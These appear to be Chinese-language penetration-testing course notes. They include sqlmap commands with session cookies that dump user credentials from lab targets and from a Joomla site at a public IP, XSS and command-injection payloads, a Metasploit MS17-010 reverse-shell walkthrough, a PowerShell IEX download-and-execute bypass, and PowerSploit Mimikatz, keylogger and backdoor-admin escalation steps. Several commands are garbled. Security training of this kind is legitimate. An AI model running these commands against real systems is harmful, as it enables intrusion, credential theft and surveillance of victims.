http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+
查列
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+
查数据
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(concat_ws('~',username,password))from users)--+
一行行读数据:limit
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password)from users
limit 0,1)--+
Cookie,指某些网站为了辨别用户身份而储存在用户本地终端的数据。Cookie在Web应用中至关重要,用户的唯一标识session id也是存在cookie中的,利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在一些情况下发出去的情球可能会被拒之门外。这时,我们需要带上cookie才能进行SQL注入检测。
目标:对joolma进行注入测试(谷歌)
(此测试可以不添加cookie值)
用burpsuite进行抓包,打开kali,在终端打开burpsuite
添加(Add)代理端口
抓包时Proxy--intercept中的Interception is on代表开启拦截功能
谷歌上开启代理功能
谷歌输入网址处输入代理端口
点击CA Certificate下载证书
设置--高级--系统--隐私设置和安全性--管理证书--导入下载上的证书
设置--高级--系统--打开计算机的代理设置--连接--局域网设置--代理服务器
代理服务器里的地址填写自己kali上开启的代理地址(Proxy--intercept中)
下方输入相关地址和端口,点击确定
打开需要测试的网站,对网站进行抓包
获得cookie值
观看老师发布的视频,获取joolma的注入URL格式
http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)
打开kali,对joolma进行注入
#查看是否存在注入点
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"
#查看joolma数据库
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" --dbs
#查看joolma数据库中的表
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" -D joomla --tables
#查看joolma数据库中的列
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" -D joomla -T "#__users" --columns
#查看joolma数据库中的用户名和密码
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" mysql -D joomla -T "#__users" -C "name,password" --dump
#查看joolma数据库中的邮箱
sqlmap -u "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" mysql -D joomla -T "#__users" -C "email" --dump
查注入点
查找数据库
查找数据库下面的表
查找数据库下面的列
查看数据库中的用户和密码
查看数据库中的邮箱
在dvwa靶场进行注入,因为是登录页面,需要获取cookie值(可以通过谷歌或火狐软件进行抓包,推荐使用谷歌)在kali中使用burpsuite进行抓包
在主机中搭建sqlmap环境,在主机上进行操作,需要cookie值
开启dvwa靶场,等级调整为low,点击确定
在SQL Injection 界面的id中输入1,点击Submit,在网址处获取URL
点击F12(或右击鼠标,点击检查),
在Applicant中找到cookie属性,记录其中的cookie值
dvwa需要登录,加上cookie:
查注入点
sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch
sqlmap -u "url" --batch ,--batch是让sqlmap自动选择执行过程中出现的询问请求
成功:可看到服务器配置信息
查数据库信息
sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch --dbs
查看指定数据库并展示所有表:
sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security --tables
查看指定数据库的指定表的所有列:
sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users --columns
查询指定列数据:
sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users -C password --dump
成功注出数据。
XSS中文名为跨站脚本攻击,跨站脚本,缩写原本为CSS,但为了与层叠样式表缩写区分开来,所以命名为XSS
当目标网站用户浏览器渲染HTML文档的过程中,出现了非预期的脚本命令并执行时,XSS就发生了。
攻击对象为用户端
2.xss漏洞原理
反射型
调取用户的cookie或者进行钓鱼
特点:
1.主要用于将恶意代码附加到URL地址的参数中
2.只在用户单击url时触发一次,非持久化
3.常用来窃取客户端Cookies或进行钓鱼欺骗
4.常常为通过引诱用户点击一个恶意链接来实施攻击
存储型
POST提交数据,生成,读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,
提交数据之后页面时会读取sql。txt中的内容并显示在网上,实现了存储型XSS攻击模拟
当输入恶意代码,即会执行
恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码
作用:渗透、挂马、蠕虫病毒、钓鱼
DOM型
新型的XSS漏洞,基于dom文档对象模型,可以归属反射型XSS
可以通过JS脚本来对文档对象进行编辑从而修改页面的元素。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM的数据并在本地执行。基于这个特征,就可以利用js脚本来实现XSS漏洞的利用
利用XSS弹出恶意警告框
网页不断刷新
http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=
Content='0'>
获得cookie
劫持流量(跳转到你的博客强行吸粉)
DOM型注入
反射型注入
XSS常用的测试语句有
常见的XSS的绕过编码有
JS编码、HTML实体编码和HTML编码
因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。
过滤输入的数据,包括“ ’ ” “ ” ”“<”“>”“on*”对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript 编码等。
XSS测试 js编码
输出cookie值
如果攻击者获取到我们的cookie,在登录网站的时候,把cookie替换成我们的cookie,告诉我们进行网站登录,攻击者就可以直接获得我们的用户名和密码
访问网站cookie值,curl访问
存储型xss
恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码
1检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的 radio值或选择值
2.分别确认每个输入变量是否存在xss漏洞,变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。
1.利用<>标记,构造等字符。
2.利用html标签属性支持javascript伪协议(支持标签属性的有hreflowsrcbgsound,background, value. action、dynsrc等),执行xss代码。 xss过函数需过滤JavaScript等关键字。
3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车。空格、tab等键,绕过对javascript的关键字的过滤。
4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。 xss 过滤函数需过滤\等字符
5.利用事件处理数,触发事件,执行xss代码。例如
6.利用css执行javascript代码
css代码中利用expression触发xss漏洞。如下所示:
css代码中利用@import触发xss
@import "javascriptalert("XSS")';
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
其实可以这样理解CSRF:攻击者利用目标用户的身份,以目标用户的名义执行 某些非法操作。CSRF能够做的事情包括:以目标用户的名义发送邮件、发消息,盗 取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了 目标用户的财产安全。
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小
场景1:账户检测
场景2:指定口令爆破用户名
场景3:密码爆破
1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能
场景4:登录验证码爆破
1.验证码绕过2.简单验证码识别3.高模糊度验证码识别
场景5:短信邮箱验证码爆破
场景6:短信邮箱验证码爆破
1.关键参数遍历2.批量注册
3.一套组合拳(也可关联爬虫)
场景7:爆破关联
1.数据重放-短信炸弹2.数据重放-邮箱炸弹
3.子域名爆破4.子目录,弱文件爆破
针对暴力破解漏洞的修复,笔者给出以下两点建议
锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录
命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“
下面展示了常用的管道符
Windows系例支持的管道符
“|”:直接执行后面的语句。例如:ping127.0.0.1|whoami
“”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。
Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。
“|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。
“Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。
·shell命令拼接
& &A,表示将命令A放入后台运行
&& A&&B,表示A命令语句执行成功,然后执行B命令语句
| A|B,表示A命令语句的输出,作为B命令语句的输入执行
|| A||B,表示A命令语句执行失败,然后才执行B命令语句
; 适用于Linux服务器,命令按照顺序(从左到右)被执行
1.逻辑漏洞介绍
逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整 。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越 访问又有水平越权和垂直越权两种,如下所示。
水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可 以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞, 可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。
垂直越权:就是不同级别之间的用户或不同角色之间用户的越权,比如普 通用户可以执行管理员才能执行的功能。 逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误
删除账户
pikachu用户转换为admin用户(admin权限高)
进入burpsuite抓包工具进行抓包
把每个包的结构分析一下,删除一个用户抓包,查看抓包数据的id
send 传入,删除相关数据
支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费 或其他费用为负数,导致总金额降低。
越权访问:通过越权漏洞访问他人信息或者操纵他人账号。
重置密码:在重置密码时,存在多种逻辑漏洞,比如利用session覆盖重置 密码、短信验证码直接在返回的数据包中等。
竞争条件:竞争条件常见于多种攻击场景中,比如前面介绍的文件上传漏 洞。
·越权访问漏洞产生的主要原因是
没有对用户的身份做判断 和控制,防护这种漏洞时,可以通过session来控制。 ·例如:在用户登录成功后,讲username或uid写入到 session中,当用户查看个人信息时,从session中取出 username,而不是从GET或POST取username,那么此 时取到的username就是没有被篡改的。
Metasploit简介 Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有的系统都支持Metaspolit.本章中的示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。
在使用Kali操作系统时应注意及时更新源
apt-get update#只更新软件包的索引源 apt-get upgrade#升级系统上安装的所有软件包 apt-get dist-upgrate:升级整个Linus系统
MSF框架有多个模块组成,各个模块及其作用如下
1.Auxiliaries:辅助模块
只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试
2.Exploit:漏洞利用模块
测试者通过一个系统,一个应用或服务器中的安全漏洞进行的攻击行为
3.Payload:攻击载荷模块
在被渗透攻击之后完成攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码
4.Post:后期渗透模块
取得目标系统远程控制权后,进行一系列的后渗透攻击动作
5.Encoders:编码工具模块
负责免杀,防止被杀毒软件、防火墙、IDS及类似的软件测试出来
渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻 击,大致的步骤如下所示。
search 17-010 #首先使用漏洞探测工具探测存在漏洞的机器 use 0 set RHOSTS 192.168.21.130 show options shell #获得权限 #启动监听 use exploit/multi/handler #之后攻击主机上打开word set payload windows/meterpreter/reverse_tcp
search 17-010
use 0
set RHOSTS 192.168.21.130
show options
run
shell
whoami
ipconfig
扫描和搜集信息是渗透测试中的第一步,其主要目标是尽可能多地发展有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤是主要关注点是目标机器IP地址,可用服务,开放端口等
use #漏洞利用模块 show options #查看需要设置的参数 set #设置相应参数 unset #取消某个参数值的设置 setg #设置全局性的参数值 unsetg #取消设置全局性的参数值
1.使用辅助模块进行端口扫描
利用search命令搜索有哪些可用端口模块
show options查看需要设置的参数
2.使用辅助模块进行服务扫描
模块 |
功能 |
auxiliary/scanner/portscan |
端口扫描 |
auxiliary/scanner/smb/smb version |
SMB系统版本扫描 |
auxiliary/scanner/smb/smb enumusers |
SMB枚举 |
auxiliary/scanner/smb/smb login |
SMB弱口令扫描 |
auxiliary/admin/smb/psexec command |
SMB登录且执行命令 |
auxiliary/scanner/ssh/ssh login |
SSH登录测试 |
scanner/mssql/mssql ping |
MSSQL主机信息扫描 |
admin/mssql/mssql_enum |
MSSQL枚举 |
admin/mssql/mssql exec |
MSSQL执行命令 |
admin/mssql/mssql_sql |
MSSQL查询 |
scanner/mssql/mssql_login |
MSSQL弱口令扫描 |
auxiliary/admin/mysqlmysql enum |
MySQL枚举 |
auxiliary/admin/mysql/mysql sql |
MSSQL语句执行 |
auxiliary/scanner/mysqlmysql login |
MySQD弱口令扫描 |
auxiliary/scanner/smtp/smtp version |
SMTP版本扫描 |
auxiliary/scanner/smtp/smtp_enum |
SMTP技举 |
auxiliary/scanner/snmp/community |
SNMP扫描设备 |
auxiliary/scanner/telnet/telnet login |
TELNET 登录 |
scanner/vnc/vnc_none auth |
VNC空口令扫描 |
4.使用nmap扫描
获取目标主机的操作系统,输入nmap -O -Pn/-p0 URL命令
Pn和p0 :不使用ping的方法
使用nmap扫描查看系统的开放端口和相关的应用程序
search samba 搜索Samba漏洞利用模块
设置攻击载荷模块
#设置被攻击IP地址 msf exploit(usermap_script)> set RHOST 192.168.187.113 #设置漏洞利用的端口号 msf exploit(usersmap_script) set RHOST 445 #设置发动攻击主机的IP地址 msf explioit(usermap_script)>set LHOST 192.168.187.133 #输入exploit或run发动攻击 msf exploit(usermap_script)> exploit
Meterpreter有以下优势。
进程迁移
ps 获取目标机正在运行的进程 getpid 查看MeterpreterShell的进程号 migrate 448 把Shell移动到PID为448的Explorer.exe进程里 kill 984 “杀掉”该进程。 (run post/windows/manage/ migrate) 自动迁移进程命令系统会自动寻找合适的进程然后迁移
2 系统命令
sysinfo 查看目标机的系统信息 run post/windows/gather/checkvm 检查目标机是否运行在虚拟机上 idletime 看到目标机最近的时间 route 查看目标机完整的网络设置 background 将当前会话放到后台 getuid 查看当前目标机器上已经渗透 成功的用户名 run post/windows/manage/killav命令关闭目标机系统杀毒软件 run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也 是常说的3389端口 load espia 加载espia插件 screengrab 抓取目标机此时屏幕截图 screenshot 生成图片保存在root目录下 ----------------------------------------------------------------------------- webcam 查看目标机有没有摄像头的命令 webcam snap命令打开目标机摄像头 webcam_stream 开启直播模式 shell 进入目标机Shell下面 exit 退出回话
3.文件系统命令
pwd或getwd查看当前处于目标机哪个目录 getlwd 查看当前处于本机的哪个目录 ls 列出当前目录中的所有目录 cd切换目录 search -f *.tet -d C:\搜索C盘中所有以“.txt”为扩展名的文件 download C:\text.txt/root 下载目标机c盘的text.txt文件到攻击机root下 upload/root/text.txt C:\上传攻击机root目录下的text.txt文件到目标机C盘下
渗透的最终目的是获取服务器的最高权限,即windows操作系统中管理员账号的 权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。
whoami 查看当前权限
常用的PowerShell攻击工具有以下这几种。
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种
Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
6.1.1 PowerShell简介
PowerShell有以下这几个优点
各个Windows系统下的PowerShell版本,如下图所示
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本,如图所示
1.PS1文件
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。
2.执行策略
在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
• Get-ExecutionPolicy。
Restricted:脚本不能运行(默认设置)。
•RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
• AllSigned:仅当脚本由受信任的发布者签名时才能运行。
• Unrestricted:允许所有的script运行。
读者还可以使用下面的cmdlet命令设置PowerShell的执行策略~
Set-ExecutionPolicy
3.运行脚本
运行一个Powershell脚本,必须键入完整的路径和文件名。
4.管道
管道的作用是将一个命令的输入作为另一个命令的输入,两个命令之间用管道符号(|)连接。
1.基本知识
下面以文件操作为例讲解Powershell命令的基本用法。
2.常用命令
还可以通过Windows终端提示符输入PowerShell,进入PowerShell命令行,输入help命令显示帮助菜单,如图所示
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种。
绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-
Nonlnteractive-NoProfile-File xxx.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-
NoProfile-Nonl EX(New-ObjectNet.WebClient).DownloadString
("xxx.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
·ExecutionPolicyBypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShel的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
·WindowStyle Hidden:隐藏窗口
·NoL.ogo:启动不显示版仪标志的PowerShell.
·Nonlnteractive(-Nonl):非交互模式,PowerShell不为用户提供交互的提示
·NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
·Noexit:执行后不退出Shell.这在使用键盘记录等脚本时非常重要。
6.2 PowerSploit
PowerSploit是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦察、权限提升、权限维持,其GitHub地址为htps://github.com/PowerShelMafia/PowerSploit。
·AntivirusBypass:发现杀毒软件的查杀特征。
·CodeExecution:在目标主机上执行代码。
·Exfitration:目标主机上的信息搜集工具。
·Mayhem:蓝屏等破坏性脚本。
·Persistence:后门脚本(持久性控制)。
·Recon:以目标主机为跳板进行内网信息侦查。
·.SeriptModification:在目标主机上创建或修改脚本。
下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。这里以kali服务器为例,介绍两种方式
第一种方式:
开启apache服务:service apache2 start
将powersploit目录放到/var/www/html/中
第二种方式:
切换到powersploit目录,然后执行如下命令开启WEB服务器
python3 -m http.server 8080
Git clone GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
在浏览器中打开WEB服务器地址,如下图所示
PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。为方便,这里我们直接在目标服务器做这些操作。
Invoke-Shellcode脚本
CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。
直接执行ShellCode反弹Meterpreter Shell
首先在MSF里使用reverse_https模块进行监听
使用msfvenom命令生成一个PowerShell脚本木马
接着在目标机Powershell下输入以下命令下载该脚本
接着输入以下命令下载木马
-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。
Invoke-Portscan扫描端口
nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。
首先下载脚本
然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可
以看到,扫描出该IP机器开放了80,22,4444端口
Invoke-Mimikatz 信息收集
Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。
然后载入脚本
然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321
Get-Keystrokes 键盘记录器
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间
首先下载脚本
然后执行以下命令开启键盘记录
使用键盘输入一些内容,查看c:\windows\temp\key.txt中记录的内容
Get-TimedScreenshot 屏幕记录
Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本
首先下载脚本
运行脚本
注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹下
Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。
首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载
在源码中搜索function,看PowerUP有哪些模块
如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如
Get-Help Invoke-AllChecks -full
下面开始对模块介绍:
1.Invoke-AllChecks 执行所有的脚本来检查。
执行方式:PS C:> Invoke-AllChecks
2.Find-PathDLLHijack 检查当前%PATH%是否存在哪些目录是当前用户可以写入的。
执行方式:PS C:>Find-Pathdllhijack
3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
执行方式:
PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。
执行方式:PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。
执行方式:PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail 返回某服务的信息。
执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。
执行方式:C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
执行方式:PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe
执行方式:PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\UnattendUnattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\UnattendUnattend.xml
c:\windows\S\ystem32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
执行方式:PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
执行方式:PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。
执行方式:PS C:>get-webconfig
14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。
执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:PS C:> Write-UserAddMSI
19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。
